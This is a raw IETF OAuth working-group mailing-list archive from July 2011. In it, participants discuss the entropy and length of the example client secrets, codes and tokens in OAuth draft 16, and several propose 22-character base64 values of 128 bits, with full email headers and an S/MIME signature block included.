amsl.com X-Spam-Flag: NO X-Spam-Score: -2.692 X-Spam-Level: X-Spam-Status: No, score=-2.692 tagged_above=-999 required=5 tests=[AWL=-0.093, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id EWHm-QCGRfgg for ; Wed, 6 Jul 2011 20:54:02 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 8775E21F87C5 for ; Wed, 6 Jul 2011 20:54:02 -0700 (PDT) Received: (qmail 2981 invoked from network); 7 Jul 2011 03:54:02 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 7 Jul 2011 03:54:00 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Wed, 6 Jul 2011 20:54:00 -0700 From: Eran Hammer-Lahav To: Brian Campbell , Oleg Gryb Date: Wed, 6 Jul 2011 20:53:58 -0700 Thread-Topic: [OAUTH-WG] Example tokens Thread-Index: Acw8WHCmqIxyiPuYSU69rgvb1evkdgAAPG6Q Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FDB8@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <1309994834.63760.YahooMailRC@web121010.mail.ne1.yahoo.com> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] Example tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 03:54:03 -0000 Does that apply to access tokens, refresh tokens, and authorization codes? = I can try squeezing in 22 characters. EHL > -----Original Message----- > From: Brian Campbell [mailto:bcampbell@pingidentity.com] > Sent: Wednesday, July 06, 2011 8:46 PM > To: Oleg Gryb > Cc: Eran Hammer-Lahav; OAuth WG > Subject: Re: [OAUTH-WG] Example tokens >=20 > So on the 128-bit note, the examples could probably be a bit shorter, > 22 characters would give somewhat more than 128 bits of randomness. > But to EHL's original question, the examples (currently 7-12 > characters) should probably be longer. >=20 > On Wed, Jul 6, 2011 at 5:27 PM, Oleg Gryb wrote: > > log2(64^27)=3D162 bits > > > > Looks good. For comparison, 128-bit entropy for a key in symmetric > > encryption used by SSL is considered as strong. > > I'm assuming that all those 162 bits are generated by a good randomizer= . > > > > > > > > > > ----- Original Message ---- > >> From: Brian Campbell > >> To: Eran Hammer-Lahav > >> Cc: OAuth WG > >> Sent: Wed, July 6, 2011 4:06:29 PM > >> Subject: Re: [OAUTH-WG] Example tokens > >> > >> If I've done the math correctly, 27 characters would give you a > >> little more =A0than 20 bytes worth of randomness (assuming your are > >> using =A0random alphanumeric characters or base64url encoded bytes). > >> 20 bytes =A0is something you see as a SHOULD type minimum length in > >> other =A0protocols for random identifiers. =A0Not sure if that's > >> sufficient =A0reasoning but it's what I can come up with. > >> > >> On Wed, Jul 6, 2011 at =A04:40 PM, Eran Hammer-Lahav > >> > > wrote: > >> > Are =A0the tokens used in the examples long enough? I don't want the > >> > examples > >> > =A0to demonstrate poor choice of byte count. > >> > EHL > >> > =A0_______________________________________________ > >> > OAuth mailing =A0list > >> > OAuth@ietf.org > >> > https://www.ietf.org/mailman/listinfo/oauth > >> > > >> > > >> _______________________________________________ > >> OAuth =A0mailing list > >> OAuth@ietf.org > >> https://www.ietf.org/mailman/listinfo/oauth > >> > > From bcampbell@pingidentity.com Wed Jul 6 21:03:10 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 23F4321F875E for ; Wed, 6 Jul 2011 21:03:10 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.923 X-Spam-Level: X-Spam-Status: No, score=-5.923 tagged_above=-999 required=5 tests=[AWL=0.054, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id hPmpKzlZz8q5 for ; Wed, 6 Jul 2011 21:03:09 -0700 (PDT) Received: from na3sys009aog103.obsmtp.com (na3sys009aog103.obsmtp.com [74.125.149.71]) by ietfa.amsl.com (Postfix) with ESMTP id 4141E21F864F for ; Wed, 6 Jul 2011 21:03:09 -0700 (PDT) Received: from mail-qw0-f53.google.com ([209.85.216.53]) (using TLSv1) by na3sys009aob103.postini.com ([74.125.148.12]) with SMTP ID DSNKThUv/Oh9VLIbmjSm1AiTsCNXzTGjoeAT@postini.com; Wed, 06 Jul 2011 21:03:09 PDT Received: by mail-qw0-f53.google.com with SMTP id 7so315689qwb.12 for ; Wed, 06 Jul 2011 21:03:08 -0700 (PDT) Received: by 10.224.210.71 with SMTP id gj7mr245875qab.287.1310011388135; Wed, 06 Jul 2011 21:03:08 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.28.201 with HTTP; Wed, 6 Jul 2011 21:02:38 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D49FDB8@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <1309994834.63760.YahooMailRC@web121010.mail.ne1.yahoo.com> <90C41DD21FB7C64BB94121FBBC2E7234501D49FDB8@P3PW5EX1MB01.EX1.SECURESERVER.NET> From: Brian Campbell Date: Wed, 6 Jul 2011 22:02:38 -0600 Message-ID: To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: Oleg Gryb , OAuth WG Subject: Re: [OAUTH-WG] Example tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 04:03:10 -0000 Yes, I think it would apply to all three (in cases where the value is some reference). I feel like a refresh token should be a little longer but I don't know if that feeling would actually hold up when doing a real threat model analysis. On Wed, Jul 6, 2011 at 9:53 PM, Eran Hammer-Lahav wro= te: > Does that apply to access tokens, refresh tokens, and authorization codes= ? I can try squeezing in 22 characters. > > EHL > >> -----Original Message----- >> From: Brian Campbell [mailto:bcampbell@pingidentity.com] >> Sent: Wednesday, July 06, 2011 8:46 PM >> To: Oleg Gryb >> Cc: Eran Hammer-Lahav; OAuth WG >> Subject: Re: [OAUTH-WG] Example tokens >> >> So on the 128-bit note, the examples could probably be a bit shorter, >> 22 characters would give somewhat more than 128 bits of randomness. >> But to EHL's original question, the examples (currently 7-12 >> characters) should probably be longer. >> >> On Wed, Jul 6, 2011 at 5:27 PM, Oleg Gryb wrote: >> > log2(64^27)=3D162 bits >> > >> > Looks good. For comparison, 128-bit entropy for a key in symmetric >> > encryption used by SSL is considered as strong. >> > I'm assuming that all those 162 bits are generated by a good randomize= r. >> > >> > >> > >> > >> > ----- Original Message ---- >> >> From: Brian Campbell >> >> To: Eran Hammer-Lahav >> >> Cc: OAuth WG >> >> Sent: Wed, July 6, 2011 4:06:29 PM >> >> Subject: Re: [OAUTH-WG] Example tokens >> >> >> >> If I've done the math correctly, 27 characters would give you a >> >> little more =A0than 20 bytes worth of randomness (assuming your are >> >> using =A0random alphanumeric characters or base64url encoded bytes). >> >> 20 bytes =A0is something you see as a SHOULD type minimum length in >> >> other =A0protocols for random identifiers. =A0Not sure if that's >> >> sufficient =A0reasoning but it's what I can come up with. >> >> >> >> On Wed, Jul 6, 2011 at =A04:40 PM, Eran Hammer-Lahav >> >> >> > wrote: >> >> > Are =A0the tokens used in the examples long enough? I don't want th= e >> >> > examples >> >> > =A0to demonstrate poor choice of byte count. >> >> > EHL >> >> > =A0_______________________________________________ >> >> > OAuth mailing =A0list >> >> > OAuth@ietf.org >> >> > https://www.ietf.org/mailman/listinfo/oauth >> >> > >> >> > >> >> _______________________________________________ >> >> OAuth =A0mailing list >> >> OAuth@ietf.org >> >> https://www.ietf.org/mailman/listinfo/oauth >> >> >> > > From James.H.Manger@team.telstra.com Wed Jul 6 21:11:04 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id E291421F892D for ; Wed, 6 Jul 2011 21:11:04 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -0.9 X-Spam-Level: X-Spam-Status: No, score=-0.9 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HELO_EQ_AU=0.377, HOST_EQ_AU=0.327, HTML_MESSAGE=0.001, RELAY_IS_203=0.994] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 1zDBhwHEfptw for ; Wed, 6 Jul 2011 21:11:03 -0700 (PDT) Received: from ipxbno.tcif.telstra.com.au (ipxbno.tcif.telstra.com.au [203.35.82.204]) by ietfa.amsl.com (Postfix) with ESMTP id 5A3C921F86C8 for ; Wed, 6 Jul 2011 21:11:01 -0700 (PDT) X-IronPort-AV: E=Sophos;i="4.65,491,1304258400"; d="p7s'?scan'208,217";a="38714317" Received: from unknown (HELO ipccni.tcif.telstra.com.au) ([10.97.216.208]) by ipobni.tcif.telstra.com.au with ESMTP; 07 Jul 2011 14:11:00 +1000 X-IronPort-AV: E=McAfee;i="5400,1158,6399"; a="31191604" Received: from wsmsg3706.srv.dir.telstra.com ([172.49.40.80]) by ipccni.tcif.telstra.com.au with ESMTP; 07 Jul 2011 14:11:00 +1000 Received: from WSMSG3153V.srv.dir.telstra.com ([172.49.40.159]) by wsmsg3706.srv.dir.telstra.com ([172.49.40.80]) with mapi; Thu, 7 Jul 2011 14:10:59 +1000 From: "Manger, James H" To: Eran Hammer-Lahav , OAuth WG Date: Thu, 7 Jul 2011 14:10:57 +1000 Thread-Topic: Example tokens Thread-Index: Acw8LaRd3jBNZ8eQRdeWzHyD6SoK/QAHRh2g Message-ID: <255B9BB34FB7D647A506DC292726F6E11288CAE2F2@WSMSG3153V.srv.dir.telstra.com> References: In-Reply-To: Accept-Language: en-US, en-AU Content-Language: en-US X-MS-Has-Attach: yes X-MS-TNEF-Correlator: acceptlanguage: en-US, en-AU Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=SHA1; boundary="----=_NextPart_000_0055_01CC3CAF.B12706D0" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Example tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 04:11:05 -0000 ------=_NextPart_000_0055_01CC3CAF.B12706D0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0056_01CC3CAF.B12706D0" ------=_NextPart_001_0056_01CC3CAF.B12706D0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit > Are the tokens used in the examples long enough? I don't want the examples to demonstrate poor choice of byte count. No. I found the following example values in draft 16. Client secret: gX1fBat3bV (10 chars, 60 bits) Code: i1WsRn1uB1 (10 chars, 60 bits) Access token: SlAV32hkKG (10 chars, 60 bits) Access token: FJQbwq9 ( 7 chars, 48 bits) Access token: 7Fjfp0ZBr1KtDRbnfVdmIw (22 chars, 132 bits, bearer token) Access token: h480djs93hd8 (12 chars, 72 bits, MAC id) Refresh token: 8xLOxBtZp8 (10 chars, 60 bits) Refresh token: n4E9O119d ( 9 chars, 54 bits) User password: A3ddj3w ( 7 chars, ? bits, user-chosen) 128 bits of entropy would be a good choice for most values. That is equivalent to 22 random base64 chars, as per longest example above. That is a minimum mentioned in draft-lodderstedt-oauth-security. Using 22-char values throughout the spec probably doesn't harm readability much as most of the examples already wrap over multiple lines (it might even help by wrapping more parameter names to the start of lines). The example user password is long enough. Curiously the secrets, codes, and tokens all look like base64-encoded values - but almost none are actually valid base64 (the last char leaves non-zero bits in a final partial byte). For instance, i1WsRn1uB1 should be i1WsRn1uBw (last char changes) to be a base64-encoding of 7 bytes. I suggest using four 22-char values for the four quantities (client secret, code, access token, refresh token) consistently throughout the spec. Here are four: 2YotnFZFEjr1zCsicMWpAA tGzv3JOkF0XG5Qx2TlKWIA 7Fjfp0ZBr1KtDRbnfVdmIw SplxlOBeZQQYbYS6WxSbIA -- James Manger ------=_NextPart_001_0056_01CC3CAF.B12706D0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

> Are the tokens used in the examples long enough? I don't want the = examples to demonstrate poor choice of byte count.

 

No.

 

I found the following example values in draft 16.

 

Client secret: gX1fBat3bV  =             (= 10 chars,  60 bits)

Code: =
         i1WsRn1uB1 &nb=
sp;          =
  (10 chars,  60 bits)
Access token:  SlAV32hkKG  =
            (=
10 chars,  60 bits)
Access token:  FJQbwq9     =
            (=
 7 chars,  48 bits)
Access token:  7Fjfp0ZBr1KtDRbnfVdmIw  =
(22 chars, 132 bits, bearer token)
Access token:  h480djs93hd8   =
         (12 chars,  =
72 bits, MAC id)
Refresh token: =
8xLOxBtZp8          &nb=
sp;   (10 chars,  60 bits)
Refresh token: =
n4E9O119d          &nbs=
p;    ( 9 chars,  54 =
bits)
User password: =
A3ddj3w           =
      ( 7 chars,   ? bits, =
user-chosen)
 
128 bits of entropy would be a good =
choice for most values. That is equivalent to 22 random base64 chars, as =
per longest example above. That is a minimum mentioned in =
draft-lodderstedt-oauth-security. Using 22-char values throughout the =
spec probably doesn’t harm readability much as most of the =
examples already wrap over multiple lines (it might even help by =
wrapping more parameter names to the start of =
lines).
 
The example user password is long =
enough.
 
Curiously the secrets, codes, and =
tokens all look like base64-encoded values – but almost none are =
actually valid base64 (the last char leaves non-zero bits in a final =
partial byte). For instance, i1WsRn1uB1 should be i1WsRn1uBw (last char =
changes) to be a base64-encoding of 7 bytes.
 
I suggest using four 22-char values =
for the four quantities (client secret, code, access token, refresh =
token) consistently throughout the spec. Here are =
four:
 
  =
2YotnFZFEjr1zCsicMWpAA
  =
tGzv3JOkF0XG5Qx2TlKWIA
  =
7Fjfp0ZBr1KtDRbnfVdmIw
  =
SplxlOBeZQQYbYS6WxSbIA
 

--<= /span>

James Manger

 

------=_NextPart_001_0056_01CC3CAF.B12706D0-- ------=_NextPart_000_0055_01CC3CAF.B12706D0 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIc2jCCBqMw ggSLoAMCAQICEClsBJZEfCC2SncEyz0UzYEwDQYJKoZIhvcNAQEFBQAwGjEYMBYGA1UEAxMPVGVs c3RyYSBSb290IENBMB4XDTA5MTExNjA0NTkxM1oXDTM0MTExNjA1MDYxMVowGjEYMBYGA1UEAxMP VGVsc3RyYSBSb290IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3r3Fb5E/8GUk cHwd9/kRB14EH1trG6C7NrwmF7isLj3j8fbELwkg0Lm0qzVuYziwqC3sbB4BcpY1YU9UZfB8J7cO Efbk1GkVkSwNnpKyUHsxAWAelb0eOord3bB21M2UeUyWkGQhoU3+ZxyaAALKDm1QZQx7Tw8wdkIQ mc1mJ4cJg/I9dTk1J5ybG4ZWs4/87PnLe0A5KRD841YWeKO1oLrV6Zvj65Aa6gpme0AdLVEDStM/ 4jNtso6jf63ixizKzazfbt5lJJZizGHelymCF2BGjps0+6eMsteMmfQ84OXG82V00pFy6kwGjH6+ Y081OXTo6Gq/sR+6d4RDFIltIYGyYKKBzsEGw2MJqxqyXat9UV/50xspN26BZlB5zHFNdKI9eBKC sv6EpgklYSfv9vgNBBnwavHmGvmw12i0NUd9WlS3YybQzxnWE49Q05jIxt+ZgV4Rg6oiCRb7rktN d8qwRUb0LcSfcYOqGGffuckNQzKGNGySrkznOrC33BsVEmGMgXGqtZk4L7Sfq5NL1y7wCJUKw8qI Ox/ijs0SSfc9VDwqZmhEM9NV8sGUsvmTeH1D8G06zjmE6loXUyIQXZLohQQ96TQyjKuA3lvtCbJt yHFbgyi8wVJG+Ze3+Ywo+JB10rlR7FF6XEniihJEIYAHkSsGRqOASUzBA7p2Ip8CAwEAAaOCAeMw ggHfMAsGA1UdDwQEAwIBhjASBgNVHRMBAf8ECDAGAQH/AgECMB0GA1UdDgQWBBSXNqRMMI9eSlUu k+RwLu+s1mV3iDAQBgkrBgEEAYI3FQEEAwIBADCCAYkGA1UdIASCAYAwggF8MIIBeAYMKwYBBAGI QAQbAQEBMIIBZjCCASAGCCsGAQUFBwICMIIBEh6CAQ4ARgBvAHIAIABhACAAYwBvAHAAeQAgAG8A ZgAgAHQAaABlACAAVABlAGwAcwB0AHIAYQAgAFAASwBJACAAQwBQAFMALAAgAGMAbABpAGMAawAg AE0AbwByAGUAIABJAG4AZgBvAC4AIABGAG8AcgAgAEMAUABTACAAcQB1AGUAcgBpAGUAcwAgAGMA bwBuAHQAYQBjAHQAIAB0AGgAZQAgAEcAbwB2AGUAcgBuAGEAbgBjAGUAIABDAG8AdQBuAGMAaQBs ACwAIABFAG0AYQBpAGwAOgAgAFQAZQBsAHMAdAByAGEALgBQAEcAQwBAAHQAZQBhAG0ALgB0AGUA bABzAHQAcgBhAC4AYwBvAG0wQAYIKwYBBQUHAgEWNGh0dHA6Ly90ZWxzdHJhLXBraS5wa2kudGVs c3RyYS5jb20uYXUvVGVsc3RyYUNQUy5wZGYwDQYJKoZIhvcNAQEFBQADggIBAHZuKnwg4R4Fk32A fxTzTHtDboZI1ZW3Yv7nSdqfZlnfF8bEAD6FSEoMJ0w6jProxVXSZwia5Fkhf4jt6M949PP+G5Cl V89x3z8pECqJhbVcZbE9p1hJXPy72IwILRblSnTnPh9CTLV0gTOkmX6SmrDMG3GSV3djTt8cf88o JTcbRe0vJgFwf5sPlMEplrK3tK0pIjomzcoGLfP9Zv+wvVLvGvu5TVxWiFIQrdtuUjzL3/2VxFb4 M5kLQaQCaxTOxcB/8epSyaInbLI1YsyhRtPyzCAT0pbTTPKR3eNgMF7YlzakASa5LbiTkWIayS8h s+MjkqIF9CX1PwOBphQgJa3yPm4bIfNBGH4520knrb5r/D/cTDtjarXh4v/ExJphEqbU6m44C4Wq Cp7jV3v6Xm91QaQbCF/e4H4RD9PTr/c+MILhmhEq879n6iF6276oe2kWZE0yXy8eiK5Ung0F2tJX PfQidNaI9NTMHViQoacVY9ah/juHnEIrnEozrYuMLqC+39i9BXAIQ4Qq7GJ132xr5o8/xb2iQ1IZ wD27yb7Or1gzcKjKvJj/pkCeDgC7fQVlxtvfDBjiKuAoWs7PXGTtGzfiObrnEmhmR0DnWSehA5ld o3/fyiGuyN53nU+ewQY4AyE8jBzPxq6YmVjWM0FAdyJLHyX+YBvYjs2VAX2cMIIG6jCCBNKgAwIB AgIKYQWDvgAAAAAABTANBgkqhkiG9w0BAQUFADAaMRgwFgYDVQQDEw9UZWxzdHJhIFJvb3QgQ0Ew HhcNMDkxMTI1MDEyNDI3WhcNMTkxMTI1MDEzNDI3WjBDMSQwIgYDVQQKExtUZWxzdHJhIENvcnBv cmF0aW9uIExpbWl0ZWQxGzAZBgNVBAMTElRlbHN0cmEgUG9saWN5IENBMTCCASIwDQYJKoZIhvcN AQEBBQADggEPADCCAQoCggEBAK3IBZQGtMLEw5e8k3SJcSRf/BnMWwguu1Ltka6XK/nmcmjTOPl/ qqpkC2uBZUFZAflrWJdmh5MTamCWNMsRSmtiWwSJQsFTPWstSRELqkuM0+lXIlTTU4dTFM3cp/pE l4ly+xBUd6ndQQeB/MOsTsbdkhALj/oMZzSSVLJw3cngrS4pG9TjV8zKMIkZQBeIURBgqh1yd6nX n1FNctjyDH1ybxftcuhK3hEEbPrAHJQB9YN317l7ISYqg99jec/3mVf0C1fOuzefKHGINXo8M2lL H3P4O28fSmaLyJK3p6IStoRmtrHwIkc9WHnDe0e9aieQx+PPosll61EtyJiaRX0CAwEAAaOCAwcw ggMDMBIGA1UdEwEB/wQIMAYBAf8CAQEwHQYDVR0OBBYEFJT5/udCeR3rxZ9HUpfHV7X4nD4oMAsG A1UdDwQEAwIBhjAQBgkrBgEEAYI3FQEEAwIBADCCAYkGA1UdIASCAYAwggF8MIIBeAYMKwYBBAGI QAQbAQEBMIIBZjCCASAGCCsGAQUFBwICMIIBEh6CAQ4ARgBvAHIAIABhACAAYwBvAHAAeQAgAG8A ZgAgAHQAaABlACAAVABlAGwAcwB0AHIAYQAgAFAASwBJACAAQwBQAFMALAAgAGMAbABpAGMAawAg AE0AbwByAGUAIABJAG4AZgBvAC4AIABGAG8AcgAgAEMAUABTACAAcQB1AGUAcgBpAGUAcwAgAGMA bwBuAHQAYQBjAHQAIAB0AGgAZQAgAEcAbwB2AGUAcgBuAGEAbgBjAGUAIABDAG8AdQBuAGMAaQBs ACwAIABFAG0AYQBpAGwAOgAgAFQAZQBsAHMAdAByAGEALgBQAEcAQwBAAHQAZQBhAG0ALgB0AGUA bABzAHQAcgBhAC4AYwBvAG0wQAYIKwYBBQUHAgEWNGh0dHA6Ly90ZWxzdHJhLXBraS5wa2kudGVs c3RyYS5jb20uYXUvVGVsc3RyYUNQUy5wZGYwGQYJKwYBBAGCNxQCBAweCgBTAHUAYgBDAEEwHwYD VR0jBBgwFoAUlzakTDCPXkpVLpPkcC7vrNZld4gwTgYDVR0fBEcwRTBDoEGgP4Y9aHR0cDovL3Rl bHN0cmEtY3JsLnBraS50ZWxzdHJhLmNvbS5hdS9UZWxzdHJhJTIwUm9vdCUyMENBLmNybDCBlQYI KwYBBQUHAQEEgYgwgYUwSQYIKwYBBQUHMAKGPWh0dHA6Ly90ZWxzdHJhLXBraS5wa2kudGVsc3Ry YS5jb20uYXUvVGVsc3RyYSUyMFJvb3QlMjBDQS5jcnQwOAYIKwYBBQUHMAGGLGh0dHA6Ly90ZWxz dHJhLW9jc3AucGtpLnRlbHN0cmEuY29tLmF1L29jc3AvMA0GCSqGSIb3DQEBBQUAA4ICAQDIYtRV XKCxl7sydCNMtC6BCJXmw7pgGswnfIDNCOF/XKTNA+5xY1+VchlRI1iWb4q15YToT6EEKXJPdWdv pO+atxyMMUScQCmZM5mW1PpbMGzXRrTL3LbDhDRaLWYD15+Wt2rgNU++iiIVA363TdgCllY3ync7 GzknJGdTl+0BEen2d4juqf0GWURu/KICxyt0YOYgoDe1O3mYbJJ4RjOOFc3lTkGPgwagtJNP22yq CcJ776pzvaa6qMTMEqzAgM5X6o6Yhp8zXHOU0M0x4/pJGb8PswKhzFi7F1TWKf0zmoKlpvAUV39U P0F8oPyMYjYPDYyBsRiaZ7iRUH1u01bPQ8XXt1jmDemXxO9w4d//Kp1qark3rcUZLi6FC4QPg0Rp S9rLWAPBDHqqFKi6mAU2W8nGWj3yY6/FI2dBPSGsxY0W2KUiEbEvgN534SPgZxJd1QT2x2CEUy1x x98EBpBZCkNQN1pMo3k3CaMn14ychHd3Y544+8UD0IYWaGzbrWiEBlcHca0yg7+F0Wu3Jln4DRM+ G0MlsB9Nq5J4YvgtX3ao0V7q+nA6oEV0TX3nPl1K99b6Xou4lILRg+/siOSIwsf+xTlaiLMntO2+ evRHTSJTPwR2H1LQQIuVatkBnTx3Yh28zMP1ge+hNLU66RHEez2mE+LktzmpQdysO8UGEzCCB0Qw ggYsoAMCAQICCicgTlUAAAAAAXkwDQYJKoZIhvcNAQEFBQAwfDETMBEGCgmSJomT8ixkARkWA2Nv bTEXMBUGCgmSJomT8ixkARkWB3RlbHN0cmExEzARBgoJkiaJk/IsZAEZFgNkaXIxFDASBgoJkiaJ k/IsZAEZFgRjb3JlMSEwHwYDVQQDExhUZWxzdHJhIFVzZXIgSXNzdWluZyBDQTEwHhcNMTAwODIz MDE0MDM4WhcNMTEwODIzMDE0MDM4WjASMRAwDgYDVQQDEwdjNzk5ODc4MIIBIjANBgkqhkiG9w0B AQEFAAOCAQ8AMIIBCgKCAQEAyYk0amYR4rSpU7VIfUpitrwxSHUV8uqzWzL7a/EqvsUIEwSAIj+A UfTFuvla72Np6qcnIcbosMpdC4OrCVNtN0rTrxsBGXTie8ED3Bg3SvHntM9qBo5vgnibBmICd2pN 3CGVKega3Y6l5AEdc9ZzBJCvpgl6b0q49Sne9QY/lVLKQYHcxLOZj5l9xFWzsLkY6KSEi/M8Wolz UDjyFN8QPgxe8CHeKwmBOEkd/W+n0JWGf96yR9SFaCIy/3O9S6Wotu5ZE2kZHz9nppfYp8O0wIS2 IMqhbJL1jZg4NpcYsRpp7EefqXadeqeq2bCIhK82SmI4LmTrMoYfYBfTF8G/4QIDAQABo4IEMDCC BCwwCwYDVR0PBAQDAgeAMB0GA1UdDgQWBBSP6v7Q6Lp5k8/olxFNK7ONKJcdkTA9BgkrBgEEAYI3 FQcEMDAuBiYrBgEEAYI3FQiE1I4igu3fU4X1gxiCxrxchYe7LX6HyKV0hceteQIBZAIBBDAfBgNV HSMEGDAWgBSzErFXrmmp60LIrAigOp3IfvE23DCCATwGA1UdHwSCATMwggEvMIIBK6CCASegggEj hoHWbGRhcDovLy9DTj1UZWxzdHJhJTIwVXNlciUyMElzc3VpbmclMjBDQTEsQ049V1NDQVMwMTAx LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1 cmF0aW9uLERDPWNvcmUsREM9ZGlyLERDPXRlbHN0cmEsREM9Y29tP2NlcnRpZmljYXRlUmV2b2Nh dGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludIZIaHR0cDovL3Rl bHN0cmEtY3JsLnBraS50ZWxzdHJhLmNvbS5hdS9UZWxzdHJhJTIwVXNlciUyMElzc3VpbmclMjBD QTEuY3JsMIIBcQYIKwYBBQUHAQEEggFjMIIBXzCBzAYIKwYBBQUHMAKGgb9sZGFwOi8vL0NOPVRl bHN0cmElMjBVc2VyJTIwSXNzdWluZyUyMENBMSxDTj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2Vy dmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1jb3JlLERDPWRpcixEQz10ZWxz dHJhLERDPWNvbT9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1 dGhvcml0eTBUBggrBgEFBQcwAoZIaHR0cDovL3RlbHN0cmEtcGtpLnBraS50ZWxzdHJhLmNvbS5h dS9UZWxzdHJhJTIwVXNlciUyMElzc3VpbmclMjBDQTEuY3J0MDgGCCsGAQUFBzABhixodHRwOi8v dGVsc3RyYS1vY3NwLnBraS50ZWxzdHJhLmNvbS5hdS9vY3NwLzATBgNVHSUEDDAKBggrBgEFBQcD BDBdBgNVHSAEVjBUMFIGDCsGAQQBiEAEGwEBATBCMEAGCCsGAQUFBwIBFjRodHRwOi8vdGVsc3Ry YS1wa2kucGtpLnRlbHN0cmEuY29tLmF1L1RlbHN0cmFDUFMucGRmMBsGCSsGAQQBgjcVCgQOMAww CgYIKwYBBQUHAwQwWAYDVR0RBFEwT6AsBgorBgEEAYI3FAIDoB4MHGM3OTk4NzhAY29yZS5kaXIu dGVsc3RyYS5jb22BH0phbWVzLkguTWFuZ2VyQHRlYW0udGVsc3RyYS5jb20wDQYJKoZIhvcNAQEF BQADggEBAAOidxye9ItR/UmzA6cuskZAxk5mPXP095W06xsU8RTJQBjRPj5IO7bqNNvs4V0e0ps1 QzcS17JCLPR9EnU3gT0YEdvr+ZeDi02HoMSfownaVjPDScpAVm16xi99EGJLlS1Tlx1IXRPMFb3S 1Qm+A9nb6yMAt1ob14tbgEh42rneimOlFVY6r8DW4wPrbRasargZdfe3SUaBAZZy3oIOzyfiT+Vj fvnw00OFQvrPbsUUJwN1zqjmItU2KTZIpkKH4nfkQfHbRuZphD5FVxFvJLaCKz8EakrwwkOfFF4r RDJ1JVL0Fc27H4oWTrcYIwUcI6pIZXXAjrispvomSUNAG7wwggf5MIIG4aADAgECAgoWWLv+AAAA AAAFMA0GCSqGSIb3DQEBBQUAMEMxJDAiBgNVBAoTG1RlbHN0cmEgQ29ycG9yYXRpb24gTGltaXRl ZDEbMBkGA1UEAxMSVGVsc3RyYSBQb2xpY3kgQ0ExMB4XDTA5MTEyOTA4MzI0NVoXDTE0MTEyOTA4 NDI0NVowfDETMBEGCgmSJomT8ixkARkWA2NvbTEXMBUGCgmSJomT8ixkARkWB3RlbHN0cmExEzAR BgoJkiaJk/IsZAEZFgNkaXIxFDASBgoJkiaJk/IsZAEZFgRjb3JlMSEwHwYDVQQDExhUZWxzdHJh IFVzZXIgSXNzdWluZyBDQTEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCevv2YM8z1 batCiS4O8l8YKJZNgA6wCcNatQ0E3OK1ZKLijCumkWAbGkRGHvIsZGkvU9XV4SEVzaVmdC+w83S+ 